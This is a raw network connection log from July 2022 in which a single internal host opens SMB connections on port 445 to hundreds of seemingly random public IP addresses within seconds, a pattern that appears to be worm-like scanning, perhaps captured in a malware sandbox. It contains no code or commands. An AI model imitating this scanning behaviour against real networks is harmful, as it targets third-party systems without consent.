Jul 20, 2022 19:09:19.209635973 CEST	54476	445	192.168.2.7	125.4.77.225
Jul 20, 2022 19:09:19.209837914 CEST	54477	445	192.168.2.7	21.231.128.196
Jul 20, 2022 19:09:19.210078001 CEST	54480	445	192.168.2.7	81.139.233.254
Jul 20, 2022 19:09:19.210207939 CEST	54484	445	192.168.2.7	152.51.185.128
Jul 20, 2022 19:09:19.426139116 CEST	54453	445	192.168.2.7	173.254.25.19
Jul 20, 2022 19:09:19.593767881 CEST	445	54453	173.254.25.19	192.168.2.7
Jul 20, 2022 19:09:19.664554119 CEST	54490	445	192.168.2.7	124.191.252.250
Jul 20, 2022 19:09:19.664741993 CEST	54491	445	192.168.2.7	20.180.29.140
Jul 20, 2022 19:09:19.741250038 CEST	54493	445	192.168.2.7	14.254.188.88
Jul 20, 2022 19:09:19.744024992 CEST	54494	445	192.168.2.7	25.9.82.179
Jul 20, 2022 19:09:19.745203018 CEST	54495	445	192.168.2.7	154.15.24.149
Jul 20, 2022 19:09:19.746113062 CEST	54496	445	192.168.2.7	68.220.68.122
Jul 20, 2022 19:09:19.774048090 CEST	54497	445	192.168.2.7	205.235.32.82
Jul 20, 2022 19:09:19.774804115 CEST	54498	445	192.168.2.7	60.199.58.229
Jul 20, 2022 19:09:19.774847031 CEST	54504	445	192.168.2.7	164.24.20.45
Jul 20, 2022 19:09:19.774857044 CEST	54505	445	192.168.2.7	9.24.141.162
Jul 20, 2022 19:09:19.774931908 CEST	54506	445	192.168.2.7	54.1.195.6
Jul 20, 2022 19:09:19.868007898 CEST	54509	445	192.168.2.7	180.185.130.19
Jul 20, 2022 19:09:19.868520975 CEST	54510	445	192.168.2.7	38.233.42.169
Jul 20, 2022 19:09:19.868623972 CEST	54511	445	192.168.2.7	166.172.163.175
Jul 20, 2022 19:09:19.868922949 CEST	54512	445	192.168.2.7	167.80.83.32
Jul 20, 2022 19:09:19.894478083 CEST	54521	445	192.168.2.7	62.84.13.249
Jul 20, 2022 19:09:19.894661903 CEST	54523	445	192.168.2.7	16.254.216.135
Jul 20, 2022 19:09:19.894865990 CEST	54524	445	192.168.2.7	148.10.24.143
Jul 20, 2022 19:09:19.895335913 CEST	54527	445	192.168.2.7	110.198.224.57
Jul 20, 2022 19:09:19.895356894 CEST	54528	445	192.168.2.7	163.246.52.192
Jul 20, 2022 19:09:19.895427942 CEST	54525	445	192.168.2.7	87.191.75.22
Jul 20, 2022 19:09:19.895507097 CEST	54529	445	192.168.2.7	203.248.156.78
Jul 20, 2022 19:09:19.895929098 CEST	54540	445	192.168.2.7	96.7.142.166
Jul 20, 2022 19:09:19.896070004 CEST	54541	445	192.168.2.7	88.122.228.118
Jul 20, 2022 19:09:19.896833897 CEST	54536	445	192.168.2.7	152.34.199.209
Jul 20, 2022 19:09:19.896847010 CEST	54539	445	192.168.2.7	10.206.168.112
Jul 20, 2022 19:09:20.333659887 CEST	54547	445	192.168.2.7	161.7.183.20
Jul 20, 2022 19:09:20.337968111 CEST	54552	445	192.168.2.7	138.8.155.131
Jul 20, 2022 19:09:20.338073015 CEST	54557	445	192.168.2.7	105.0.155.251
Jul 20, 2022 19:09:20.338109970 CEST	54556	445	192.168.2.7	130.147.67.133
Jul 20, 2022 19:09:20.629405022 CEST	54298	445	192.168.2.7	192.56.37.1
Jul 20, 2022 19:09:20.788520098 CEST	54560	445	192.168.2.7	62.47.105.52
Jul 20, 2022 19:09:20.788724899 CEST	54562	445	192.168.2.7	208.131.64.211
Jul 20, 2022 19:09:20.865398884 CEST	54564	445	192.168.2.7	51.154.187.65
Jul 20, 2022 19:09:20.866342068 CEST	54565	445	192.168.2.7	120.21.20.239
Jul 20, 2022 19:09:20.866652012 CEST	54566	445	192.168.2.7	207.71.122.6
Jul 20, 2022 19:09:20.867216110 CEST	54567	445	192.168.2.7	76.27.152.239
Jul 20, 2022 19:09:20.899426937 CEST	54568	445	192.168.2.7	88.191.210.242
Jul 20, 2022 19:09:20.899527073 CEST	54569	445	192.168.2.7	2.10.249.243
Jul 20, 2022 19:09:20.905306101 CEST	54575	445	192.168.2.7	193.234.245.97
Jul 20, 2022 19:09:20.905333042 CEST	54576	445	192.168.2.7	113.216.17.17
Jul 20, 2022 19:09:20.905479908 CEST	54578	445	192.168.2.7	104.86.60.24
Jul 20, 2022 19:09:20.989937067 CEST	54580	445	192.168.2.7	215.2.124.173
Jul 20, 2022 19:09:20.990659952 CEST	54581	445	192.168.2.7	159.12.150.228
Jul 20, 2022 19:09:20.991686106 CEST	54582	445	192.168.2.7	211.20.122.4
Jul 20, 2022 19:09:20.992124081 CEST	54583	445	192.168.2.7	91.177.76.93
Jul 20, 2022 19:09:21.023752928 CEST	54587	445	192.168.2.7	201.207.112.19
Jul 20, 2022 19:09:21.024635077 CEST	54588	445	192.168.2.7	135.77.37.215
Jul 20, 2022 19:09:21.025619030 CEST	54589	445	192.168.2.7	212.238.130.39
Jul 20, 2022 19:09:21.026674032 CEST	54591	445	192.168.2.7	103.0.79.108
Jul 20, 2022 19:09:21.027199030 CEST	54592	445	192.168.2.7	115.39.154.187
Jul 20, 2022 19:09:21.027725935 CEST	54593	445	192.168.2.7	12.156.105.32
Jul 20, 2022 19:09:21.028278112 CEST	54594	445	192.168.2.7	33.226.92.32
Jul 20, 2022 19:09:21.036313057 CEST	54609	445	192.168.2.7	5.57.44.142
Jul 20, 2022 19:09:21.037384987 CEST	54611	445	192.168.2.7	6.230.236.8
Jul 20, 2022 19:09:21.037950039 CEST	54612	445	192.168.2.7	112.191.199.72
Jul 20, 2022 19:09:21.477863073 CEST	54618	445	192.168.2.7	191.194.251.156
Jul 20, 2022 19:09:21.482382059 CEST	54627	445	192.168.2.7	158.70.57.78
Jul 20, 2022 19:09:21.482394934 CEST	54626	445	192.168.2.7	32.85.243.40
Jul 20, 2022 19:09:21.482534885 CEST	54628	445	192.168.2.7	216.125.177.193
Jul 20, 2022 19:09:21.914673090 CEST	54632	445	192.168.2.7	59.70.74.156
Jul 20, 2022 19:09:21.915466070 CEST	54633	445	192.168.2.7	7.178.184.140
Jul 20, 2022 19:09:21.993925095 CEST	54636	445	192.168.2.7	180.0.170.92
Jul 20, 2022 19:09:21.996213913 CEST	54637	445	192.168.2.7	81.172.102.218
Jul 20, 2022 19:09:22.011760950 CEST	54638	445	192.168.2.7	118.7.14.205
Jul 20, 2022 19:09:22.011835098 CEST	54639	445	192.168.2.7	87.61.18.101
Jul 20, 2022 19:09:22.024344921 CEST	54642	445	192.168.2.7	27.95.245.215
Jul 20, 2022 19:09:22.028261900 CEST	54645	445	192.168.2.7	200.83.211.133
Jul 20, 2022 19:09:22.028304100 CEST	54646	445	192.168.2.7	61.34.206.154
Jul 20, 2022 19:09:22.028436899 CEST	54647	445	192.168.2.7	156.237.236.28
Jul 20, 2022 19:09:22.028454065 CEST	54648	445	192.168.2.7	129.3.123.151
Jul 20, 2022 19:09:22.115251064 CEST	54652	445	192.168.2.7	139.75.189.11
Jul 20, 2022 19:09:22.116070986 CEST	54653	445	192.168.2.7	58.230.19.123
Jul 20, 2022 19:09:22.117223024 CEST	54654	445	192.168.2.7	131.226.196.88
Jul 20, 2022 19:09:22.117865086 CEST	54655	445	192.168.2.7	70.142.23.181
Jul 20, 2022 19:09:22.147753000 CEST	54658	445	192.168.2.7	153.78.33.86
Jul 20, 2022 19:09:22.148467064 CEST	54659	445	192.168.2.7	46.68.10.221
Jul 20, 2022 19:09:22.149219036 CEST	54660	445	192.168.2.7	173.49.107.174
Jul 20, 2022 19:09:22.154059887 CEST	54668	445	192.168.2.7	34.207.232.231
Jul 20, 2022 19:09:22.154777050 CEST	54669	445	192.168.2.7	189.121.69.35
Jul 20, 2022 19:09:22.155437946 CEST	54670	445	192.168.2.7	28.212.215.143
Jul 20, 2022 19:09:22.156843901 CEST	54672	445	192.168.2.7	70.61.248.224
Jul 20, 2022 19:09:22.157566071 CEST	54673	445	192.168.2.7	131.137.229.236
Jul 20, 2022 19:09:22.158286095 CEST	54674	445	192.168.2.7	145.26.129.44
Jul 20, 2022 19:09:22.158855915 CEST	54675	445	192.168.2.7	7.188.226.212
Jul 20, 2022 19:09:22.186503887 CEST	54689	445	192.168.2.7	128.23.97.165
Jul 20, 2022 19:09:22.589577913 CEST	54690	445	192.168.2.7	136.0.227.8
Jul 20, 2022 19:09:22.589807987 CEST	54696	445	192.168.2.7	213.89.25.157
Jul 20, 2022 19:09:22.589870930 CEST	54698	445	192.168.2.7	76.242.180.217
Jul 20, 2022 19:09:22.589943886 CEST	54699	445	192.168.2.7	37.200.250.100
Jul 20, 2022 19:09:23.039124012 CEST	54705	445	192.168.2.7	148.250.189.32
Jul 20, 2022 19:09:23.039139986 CEST	54706	445	192.168.2.7	131.104.245.3
Jul 20, 2022 19:09:23.116024971 CEST	54708	445	192.168.2.7	86.94.237.251
Jul 20, 2022 19:09:23.131675959 CEST	54709	445	192.168.2.7	43.67.191.57
Jul 20, 2022 19:09:23.131685019 CEST	54710	445	192.168.2.7	109.29.33.230
Jul 20, 2022 19:09:23.131817102 CEST	54711	445	192.168.2.7	206.115.242.196
Jul 20, 2022 19:09:23.149348974 CEST	54714	445	192.168.2.7	28.93.86.43
Jul 20, 2022 19:09:23.150144100 CEST	54715	445	192.168.2.7	74.26.25.101
Jul 20, 2022 19:09:23.150284052 CEST	80	49709	93.184.220.29	192.168.2.7
Jul 20, 2022 19:09:23.150417089 CEST	49709	80	192.168.2.7	93.184.220.29
Jul 20, 2022 19:09:23.150976896 CEST	54716	445	192.168.2.7	92.30.196.248
Jul 20, 2022 19:09:23.151777983 CEST	54717	445	192.168.2.7	149.93.212.229
Jul 20, 2022 19:09:23.153809071 CEST	54720	445	192.168.2.7	123.109.232.254
Jul 20, 2022 19:09:23.187269926 CEST	80	49708	93.184.220.29	192.168.2.7
Jul 20, 2022 19:09:23.187422037 CEST	49708	80	192.168.2.7	93.184.220.29
Jul 20, 2022 19:09:23.241075039 CEST	54724	445	192.168.2.7	22.134.224.94
Jul 20, 2022 19:09:23.242304087 CEST	54725	445	192.168.2.7	79.164.244.52
Jul 20, 2022 19:09:23.242343903 CEST	54726	445	192.168.2.7	53.103.232.224
Jul 20, 2022 19:09:23.242507935 CEST	54728	445	192.168.2.7	214.227.230.58
Jul 20, 2022 19:09:23.278392076 CEST	54731	445	192.168.2.7	184.86.176.183
Jul 20, 2022 19:09:23.278548002 CEST	54738	445	192.168.2.7	2.202.26.73
Jul 20, 2022 19:09:23.278595924 CEST	54737	445	192.168.2.7	143.9.251.237
Jul 20, 2022 19:09:23.278691053 CEST	54739	445	192.168.2.7	162.154.33.181
Jul 20, 2022 19:09:23.278755903 CEST	54741	445	192.168.2.7	24.245.200.89
Jul 20, 2022 19:09:23.278772116 CEST	54742	445	192.168.2.7	53.104.27.202
Jul 20, 2022 19:09:23.278892040 CEST	54743	445	192.168.2.7	32.69.33.138
Jul 20, 2022 19:09:23.278915882 CEST	54744	445	192.168.2.7	52.169.42.136
Jul 20, 2022 19:09:23.279081106 CEST	54747	445	192.168.2.7	189.31.50.110
Jul 20, 2022 19:09:23.282044888 CEST	54748	445	192.168.2.7	50.191.225.177
Jul 20, 2022 19:09:23.371824026 CEST	54750	445	192.168.2.7	22.22.206.201
Jul 20, 2022 19:09:23.712507010 CEST	54763	445	192.168.2.7	111.147.113.71
Jul 20, 2022 19:09:23.713016987 CEST	54769	445	192.168.2.7	59.158.100.152
Jul 20, 2022 19:09:23.713076115 CEST	54771	445	192.168.2.7	36.100.195.83
Jul 20, 2022 19:09:23.713191032 CEST	54772	445	192.168.2.7	206.70.143.120
Jul 20, 2022 19:09:24.162419081 CEST	54776	445	192.168.2.7	207.84.52.44
Jul 20, 2022 19:09:24.172863960 CEST	54779	445	192.168.2.7	23.160.241.83
Jul 20, 2022 19:09:24.240554094 CEST	54780	445	192.168.2.7	21.178.134.61
Jul 20, 2022 19:09:24.255912066 CEST	54782	445	192.168.2.7	116.30.137.46
Jul 20, 2022 19:09:24.257009029 CEST	54783	445	192.168.2.7	203.9.220.193
Jul 20, 2022 19:09:24.257713079 CEST	54784	445	192.168.2.7	71.125.128.36
Jul 20, 2022 19:09:24.272257090 CEST	54785	445	192.168.2.7	100.235.241.170
Jul 20, 2022 19:09:24.285109997 CEST	54790	445	192.168.2.7	155.68.129.68
Jul 20, 2022 19:09:24.285679102 CEST	54793	445	192.168.2.7	27.201.94.65
Jul 20, 2022 19:09:24.285790920 CEST	54794	445	192.168.2.7	176.230.238.3
Jul 20, 2022 19:09:24.285881996 CEST	54795	445	192.168.2.7	62.187.22.125
Jul 20, 2022 19:09:24.366381884 CEST	54797	445	192.168.2.7	170.173.15.160
Jul 20, 2022 19:09:24.366487026 CEST	54800	445	192.168.2.7	140.94.225.56
Jul 20, 2022 19:09:24.366488934 CEST	54798	445	192.168.2.7	46.16.117.36
Jul 20, 2022 19:09:24.366503000 CEST	54799	445	192.168.2.7	33.251.57.217
Jul 20, 2022 19:09:24.396555901 CEST	54802	445	192.168.2.7	217.32.174.204
Jul 20, 2022 19:09:24.397241116 CEST	54803	445	192.168.2.7	123.18.24.150
Jul 20, 2022 19:09:24.399028063 CEST	54806	445	192.168.2.7	9.66.234.110
Jul 20, 2022 19:09:24.399692059 CEST	54807	445	192.168.2.7	123.199.46.119
Jul 20, 2022 19:09:24.400288105 CEST	54808	445	192.168.2.7	105.180.23.68
Jul 20, 2022 19:09:24.400855064 CEST	54809	445	192.168.2.7	165.241.227.35
Jul 20, 2022 19:09:24.401779890 CEST	54810	445	192.168.2.7	40.107.22.165
Jul 20, 2022 19:09:24.402905941 CEST	54812	445	192.168.2.7	125.217.25.196
Jul 20, 2022 19:09:24.403441906 CEST	54813	445	192.168.2.7	180.233.139.106
Jul 20, 2022 19:09:24.405226946 CEST	54816	445	192.168.2.7	145.163.163.137
Jul 20, 2022 19:09:24.490911007 CEST	54823	445	192.168.2.7	98.180.189.182
Jul 20, 2022 19:09:24.834372997 CEST	54837	445	192.168.2.7	107.188.190.89
Jul 20, 2022 19:09:24.837698936 CEST	54843	445	192.168.2.7	216.145.190.96
Jul 20, 2022 19:09:24.838275909 CEST	54844	445	192.168.2.7	206.15.242.38
Jul 20, 2022 19:09:24.839251041 CEST	54846	445	192.168.2.7	168.77.81.152
Jul 20, 2022 19:09:24.942307949 CEST	54298	445	192.168.2.7	192.56.37.1
Jul 20, 2022 19:09:25.287523031 CEST	54849	445	192.168.2.7	115.207.72.75
Jul 20, 2022 19:09:25.289279938 CEST	54852	445	192.168.2.7	96.152.189.131
Jul 20, 2022 19:09:25.365243912 CEST	54853	445	192.168.2.7	93.192.225.187
Jul 20, 2022 19:09:25.381597996 CEST	54855	445	192.168.2.7	63.237.23.187
Jul 20, 2022 19:09:25.382220030 CEST	54856	445	192.168.2.7	9.96.242.12
Jul 20, 2022 19:09:25.382998943 CEST	54857	445	192.168.2.7	9.85.28.203
Jul 20, 2022 19:09:25.397826910 CEST	54858	445	192.168.2.7	160.191.76.175
Jul 20, 2022 19:09:25.400796890 CEST	54863	445	192.168.2.7	221.111.152.203
Jul 20, 2022 19:09:25.413430929 CEST	54866	445	192.168.2.7	90.128.150.124
Jul 20, 2022 19:09:25.414014101 CEST	54867	445	192.168.2.7	11.143.159.56
Jul 20, 2022 19:09:25.414572954 CEST	54868	445	192.168.2.7	71.58.170.101
Jul 20, 2022 19:09:25.491871119 CEST	54870	445	192.168.2.7	189.194.69.182
Jul 20, 2022 19:09:25.492121935 CEST	54871	445	192.168.2.7	211.11.73.199
Jul 20, 2022 19:09:25.492254019 CEST	54872	445	192.168.2.7	195.182.82.145
Jul 20, 2022 19:09:25.492397070 CEST	54874	445	192.168.2.7	110.65.224.199
Jul 20, 2022 19:09:25.515252113 CEST	54875	445	192.168.2.7	178.15.48.39
Jul 20, 2022 19:09:25.515367031 CEST	54876	445	192.168.2.7	38.136.1.251
Jul 20, 2022 19:09:25.515569925 CEST	54879	445	192.168.2.7	56.108.3.136
Jul 20, 2022 19:09:25.515647888 CEST	54880	445	192.168.2.7	170.68.102.29
Jul 20, 2022 19:09:25.515708923 CEST	54881	445	192.168.2.7	75.159.98.103
Jul 20, 2022 19:09:25.515830040 CEST	54883	445	192.168.2.7	2.177.189.181
Jul 20, 2022 19:09:25.515989065 CEST	54885	445	192.168.2.7	217.144.189.116
Jul 20, 2022 19:09:25.516019106 CEST	54886	445	192.168.2.7	217.189.49.168
Jul 20, 2022 19:09:25.516176939 CEST	54889	445	192.168.2.7	57.21.159.85
Jul 20, 2022 19:09:25.639040947 CEST	54896	445	192.168.2.7	108.70.167.237
Jul 20, 2022 19:09:25.958770037 CEST	54910	445	192.168.2.7	31.151.185.122
Jul 20, 2022 19:09:25.960135937 CEST	54912	445	192.168.2.7	219.229.31.36
Jul 20, 2022 19:09:25.961045027 CEST	54913	445	192.168.2.7	138.168.140.79
Jul 20, 2022 19:09:25.967279911 CEST	54919	445	192.168.2.7	95.226.209.208
Jul 20, 2022 19:09:26.412498951 CEST	54923	445	192.168.2.7	8.9.233.26
Jul 20, 2022 19:09:26.413984060 CEST	54926	445	192.168.2.7	52.22.92.87
Jul 20, 2022 19:09:26.492063999 CEST	54927	445	192.168.2.7	39.55.59.1
Jul 20, 2022 19:09:26.505486012 CEST	54929	445	192.168.2.7	168.32.243.63
Jul 20, 2022 19:09:26.506655931 CEST	54930	445	192.168.2.7	187.72.133.127
Jul 20, 2022 19:09:26.507256985 CEST	54931	445	192.168.2.7	119.54.102.9
Jul 20, 2022 19:09:26.523611069 CEST	54933	445	192.168.2.7	125.191.122.29
Jul 20, 2022 19:09:26.524204016 CEST	54934	445	192.168.2.7	210.70.86.13
Jul 20, 2022 19:09:26.551671982 CEST	54940	445	192.168.2.7	219.154.37.182
Jul 20, 2022 19:09:26.553932905 CEST	54941	445	192.168.2.7	12.207.226.126
Jul 20, 2022 19:09:26.554208994 CEST	54942	445	192.168.2.7	125.252.252.97
Jul 20, 2022 19:09:26.600132942 CEST	54943	445	192.168.2.7	73.80.122.16
Jul 20, 2022 19:09:26.600774050 CEST	54944	445	192.168.2.7	76.167.45.113
Jul 20, 2022 19:09:26.601367950 CEST	54945	445	192.168.2.7	46.87.131.31
Jul 20, 2022 19:09:26.633655071 CEST	54953	445	192.168.2.7	150.175.91.66
Jul 20, 2022 19:09:26.635377884 CEST	54956	445	192.168.2.7	109.136.188.154
Jul 20, 2022 19:09:26.635915041 CEST	54957	445	192.168.2.7	142.236.49.131
Jul 20, 2022 19:09:26.636912107 CEST	54959	445	192.168.2.7	28.139.186.6
Jul 20, 2022 19:09:26.637515068 CEST	54960	445	192.168.2.7	47.150.26.202
Jul 20, 2022 19:09:26.637974977 CEST	54961	445	192.168.2.7	191.60.125.165
Jul 20, 2022 19:09:26.638473988 CEST	54962	445	192.168.2.7	42.59.244.140
Jul 20, 2022 19:09:26.638981104 CEST	54963	445	192.168.2.7	33.84.68.98
Jul 20, 2022 19:09:26.640599966 CEST	54966	445	192.168.2.7	109.248.76.194
Jul 20, 2022 19:09:26.641165018 CEST	54967	445	192.168.2.7	1.232.157.243
Jul 20, 2022 19:09:26.641730070 CEST	54968	445	192.168.2.7	19.42.32.226
Jul 20, 2022 19:09:26.766311884 CEST	54970	445	192.168.2.7	38.67.75.254
Jul 20, 2022 19:09:26.847240925 CEST	445	54961	191.60.125.165	192.168.2.7
Jul 20, 2022 19:09:27.089912891 CEST	54984	445	192.168.2.7	55.74.68.185
Jul 20, 2022 19:09:27.090192080 CEST	54985	445	192.168.2.7	178.147.248.137
Jul 20, 2022 19:09:27.090435028 CEST	54989	445	192.168.2.7	116.231.175.224
Jul 20, 2022 19:09:27.090588093 CEST	54992	445	192.168.2.7	118.146.3.126
Jul 20, 2022 19:09:27.442503929 CEST	54961	445	192.168.2.7	191.60.125.165
Jul 20, 2022 19:09:27.537668943 CEST	54997	445	192.168.2.7	106.187.106.144
Jul 20, 2022 19:09:27.541254044 CEST	55000	445	192.168.2.7	192.118.98.173
Jul 20, 2022 19:09:27.615963936 CEST	55001	445	192.168.2.7	94.47.129.241
Jul 20, 2022 19:09:27.633797884 CEST	55003	445	192.168.2.7	11.18.198.234
Jul 20, 2022 19:09:27.634236097 CEST	55006	445	192.168.2.7	142.194.223.183
Jul 20, 2022 19:09:27.634426117 CEST	55009	445	192.168.2.7	55.85.3.99
Jul 20, 2022 19:09:27.634485960 CEST	55010	445	192.168.2.7	202.43.203.249
Jul 20, 2022 19:09:27.634629965 CEST	55011	445	192.168.2.7	198.62.105.105
Jul 20, 2022 19:09:27.648165941 CEST	445	54961	191.60.125.165	192.168.2.7
Jul 20, 2022 19:09:27.677860975 CEST	55014	445	192.168.2.7	205.113.177.110
Jul 20, 2022 19:09:27.679172039 CEST	55015	445	192.168.2.7	219.229.183.26
Jul 20, 2022 19:09:27.680354118 CEST	55016	445	192.168.2.7	158.223.110.121
Jul 20, 2022 19:09:27.734572887 CEST	55018	445	192.168.2.7	26.41.169.249
Jul 20, 2022 19:09:27.735395908 CEST	55019	445	192.168.2.7	155.204.163.143
Jul 20, 2022 19:09:27.737056017 CEST	55020	445	192.168.2.7	44.69.249.228
Jul 20, 2022 19:09:27.760314941 CEST	55023	445	192.168.2.7	202.211.68.142
Jul 20, 2022 19:09:27.761152029 CEST	55024	445	192.168.2.7	196.25.138.141
Jul 20, 2022 19:09:27.761784077 CEST	55025	445	192.168.2.7	52.168.38.7
Jul 20, 2022 19:09:27.763278008 CEST	55028	445	192.168.2.7	188.204.188.82
Jul 20, 2022 19:09:27.763933897 CEST	55029	445	192.168.2.7	165.193.36.10
Jul 20, 2022 19:09:27.764527082 CEST	55030	445	192.168.2.7	56.33.214.231
Jul 20, 2022 19:09:27.765050888 CEST	55031	445	192.168.2.7	28.59.176.84
Jul 20, 2022 19:09:27.765593052 CEST	55032	445	192.168.2.7	76.59.160.59
Jul 20, 2022 19:09:27.766630888 CEST	55034	445	192.168.2.7	67.101.163.210
Jul 20, 2022 19:09:27.767158985 CEST	55035	445	192.168.2.7	28.103.122.184
Jul 20, 2022 19:09:27.768605947 CEST	55038	445	192.168.2.7	154.233.187.171
Jul 20, 2022 19:09:27.795325994 CEST	445	55028	188.204.188.82	192.168.2.7
Jul 20, 2022 19:09:27.923331976 CEST	55045	445	192.168.2.7	89.77.75.149
Jul 20, 2022 19:09:28.215471029 CEST	55060	445	192.168.2.7	110.205.206.104
Jul 20, 2022 19:09:28.216748953 CEST	55066	445	192.168.2.7	49.58.154.56
Jul 20, 2022 19:09:28.216756105 CEST	55065	445	192.168.2.7	65.88.195.128
Jul 20, 2022 19:09:28.216880083 CEST	55068	445	192.168.2.7	104.53.167.114
Jul 20, 2022 19:09:28.301908970 CEST	55028	445	192.168.2.7	188.204.188.82
Jul 20, 2022 19:09:28.336273909 CEST	445	55028	188.204.188.82	192.168.2.7
Jul 20, 2022 19:09:28.670429945 CEST	55073	445	192.168.2.7	47.26.241.108
Jul 20, 2022 19:09:28.670450926 CEST	55075	445	192.168.2.7	205.120.30.18
Jul 20, 2022 19:09:28.729391098 CEST	55077	445	192.168.2.7	46.187.56.96
Jul 20, 2022 19:09:28.763212919 CEST	55078	445	192.168.2.7	156.57.1.146
Jul 20, 2022 19:09:28.782598019 CEST	55079	445	192.168.2.7	223.72.173.120
Jul 20, 2022 19:09:28.782799959 CEST	55080	445	192.168.2.7	32.225.108.238
Jul 20, 2022 19:09:28.782963991 CEST	55084	445	192.168.2.7	97.135.202.181
Jul 20, 2022 19:09:28.783071041 CEST	55086	445	192.168.2.7	128.20.245.219
Jul 20, 2022 19:09:28.788799047 CEST	55087	445	192.168.2.7	13.241.27.77
Jul 20, 2022 19:09:28.788949966 CEST	55088	445	192.168.2.7	36.229.146.149
Jul 20, 2022 19:09:28.789100885 CEST	55089	445	192.168.2.7	120.101.229.128
Jul 20, 2022 19:09:28.834530115 CEST	55093	445	192.168.2.7	219.188.58.13
Jul 20, 2022 19:09:28.835256100 CEST	55094	445	192.168.2.7	49.2.20.190
Jul 20, 2022 19:09:28.836931944 CEST	55097	445	192.168.2.7	45.111.201.88
Jul 20, 2022 19:09:28.903407097 CEST	55103	445	192.168.2.7	152.46.129.172
Jul 20, 2022 19:09:28.903515100 CEST	55106	445	192.168.2.7	43.7.30.175
Jul 20, 2022 19:09:28.903528929 CEST	55107	445	192.168.2.7	84.235.209.189
Jul 20, 2022 19:09:28.903696060 CEST	55110	445	192.168.2.7	56.73.226.47
Jul 20, 2022 19:09:28.903728008 CEST	55109	445	192.168.2.7	182.114.254.175
Jul 20, 2022 19:09:28.903801918 CEST	55111	445	192.168.2.7	54.94.70.194
Jul 20, 2022 19:09:28.903950930 CEST	55112	445	192.168.2.7	149.209.25.11
Jul 20, 2022 19:09:28.904084921 CEST	55113	445	192.168.2.7	193.155.159.118
Jul 20, 2022 19:09:28.904090881 CEST	55115	445	192.168.2.7	182.220.128.172
Jul 20, 2022 19:09:28.904220104 CEST	55117	445	192.168.2.7	174.242.126.202
Jul 20, 2022 19:09:28.904222012 CEST	55118	445	192.168.2.7	72.96.99.93
Jul 20, 2022 19:09:29.037708044 CEST	55120	445	192.168.2.7	97.223.247.239
Jul 20, 2022 19:09:29.336649895 CEST	55134	445	192.168.2.7	86.57.78.89
Jul 20, 2022 19:09:29.338021994 CEST	55137	445	192.168.2.7	157.192.58.12
Jul 20, 2022 19:09:29.338239908 CEST	55144	445	192.168.2.7	64.79.5.76
Jul 20, 2022 19:09:29.338263988 CEST	55136	445	192.168.2.7	91.130.240.213
Jul 20, 2022 19:09:29.787925959 CEST	55148	445	192.168.2.7	128.40.10.158
Jul 20, 2022 19:09:29.789391994 CEST	55151	445	192.168.2.7	21.69.19.140
Jul 20, 2022 19:09:29.850712061 CEST	55153	445	192.168.2.7	118.141.81.102
Jul 20, 2022 19:09:29.881191969 CEST	55154	445	192.168.2.7	108.204.11.95
Jul 20, 2022 19:09:29.898072958 CEST	55155	445	192.168.2.7	104.102.243.128
Jul 20, 2022 19:09:29.899411917 CEST	55157	445	192.168.2.7	21.13.125.26
Jul 20, 2022 19:09:29.901432991 CEST	55161	445	192.168.2.7	162.236.4.14
Jul 20, 2022 19:09:29.901995897 CEST	55162	445	192.168.2.7	62.88.23.56
Jul 20, 2022 19:09:29.922919989 CEST	55163	445	192.168.2.7	3.68.113.170
Jul 20, 2022 19:09:29.922955990 CEST	55164	445	192.168.2.7	114.173.49.209
Jul 20, 2022 19:09:29.923027992 CEST	55165	445	192.168.2.7	182.2.164.187
Jul 20, 2022 19:09:29.962985992 CEST	55169	445	192.168.2.7	74.144.162.176
Jul 20, 2022 19:09:29.964018106 CEST	55170	445	192.168.2.7	96.237.251.35
Jul 20, 2022 19:09:29.966226101 CEST	55172	445	192.168.2.7	154.78.72.37
Jul 20, 2022 19:09:30.058665991 CEST	55177	445	192.168.2.7	86.139.254.37
Jul 20, 2022 19:09:30.058742046 CEST	55176	445	192.168.2.7	120.7.64.125
Jul 20, 2022 19:09:30.058758020 CEST	55178	445	192.168.2.7	119.78.11.131
Jul 20, 2022 19:09:30.058882952 CEST	55179	445	192.168.2.7	63.206.236.237
Jul 20, 2022 19:09:30.059026003 CEST	55180	445	192.168.2.7	51.2.150.213
Jul 20, 2022 19:09:30.059205055 CEST	55183	445	192.168.2.7	30.78.204.73
Jul 20, 2022 19:09:30.059262991 CEST	55182	445	192.168.2.7	44.102.254.99
Jul 20, 2022 19:09:30.059290886 CEST	55184	445	192.168.2.7	109.220.107.97
Jul 20, 2022 19:09:30.059390068 CEST	55185	445	192.168.2.7	15.62.0.227
Jul 20, 2022 19:09:30.059458017 CEST	55186	445	192.168.2.7	64.138.100.86
Jul 20, 2022 19:09:30.059766054 CEST	55194	445	192.168.2.7	128.56.165.147
Jul 20, 2022 19:09:30.162111998 CEST	55196	445	192.168.2.7	209.3.0.121
Jul 20, 2022 19:09:30.469811916 CEST	55210	445	192.168.2.7	110.82.45.83
Jul 20, 2022 19:09:30.470158100 CEST	55215	445	192.168.2.7	65.20.202.179
Jul 20, 2022 19:09:30.470241070 CEST	55217	445	192.168.2.7	147.234.43.157
Jul 20, 2022 19:09:30.471770048 CEST	55220	445	192.168.2.7	175.183.22.232
Jul 20, 2022 19:09:30.921334028 CEST	55224	445	192.168.2.7	29.131.46.109
Jul 20, 2022 19:09:30.921542883 CEST	55227	445	192.168.2.7	139.59.55.68
Jul 20, 2022 19:09:30.975495100 CEST	55228	445	192.168.2.7	170.212.22.15
Jul 20, 2022 19:09:31.006203890 CEST	55230	445	192.168.2.7	20.15.66.49
Jul 20, 2022 19:09:31.032762051 CEST	55232	445	192.168.2.7	37.157.192.245
Jul 20, 2022 19:09:31.033288956 CEST	55237	445	192.168.2.7	12.236.69.232
Jul 20, 2022 19:09:31.033423901 CEST	55238	445	192.168.2.7	87.99.241.159
Jul 20, 2022 19:09:31.033432007 CEST	55236	445	192.168.2.7	67.11.149.117
Jul 20, 2022 19:09:31.038642883 CEST	55240	445	192.168.2.7	139.56.214.158
Jul 20, 2022 19:09:31.038712978 CEST	55242	445	192.168.2.7	94.55.191.174
Jul 20, 2022 19:09:31.039144039 CEST	55243	445	192.168.2.7	173.162.139.39
Jul 20, 2022 19:09:31.085356951 CEST	55246	445	192.168.2.7	134.102.201.188
Jul 20, 2022 19:09:31.086555958 CEST	55248	445	192.168.2.7	142.221.37.57
Jul 20, 2022 19:09:31.087197065 CEST	55249	445	192.168.2.7	77.73.239.185
Jul 20, 2022 19:09:31.088560104 CEST	445	55227	139.59.55.68	192.168.2.7
Jul 20, 2022 19:09:31.178268909 CEST	55251	445	192.168.2.7	207.102.3.85
Jul 20, 2022 19:09:31.185463905 CEST	55253	445	192.168.2.7	219.13.177.69
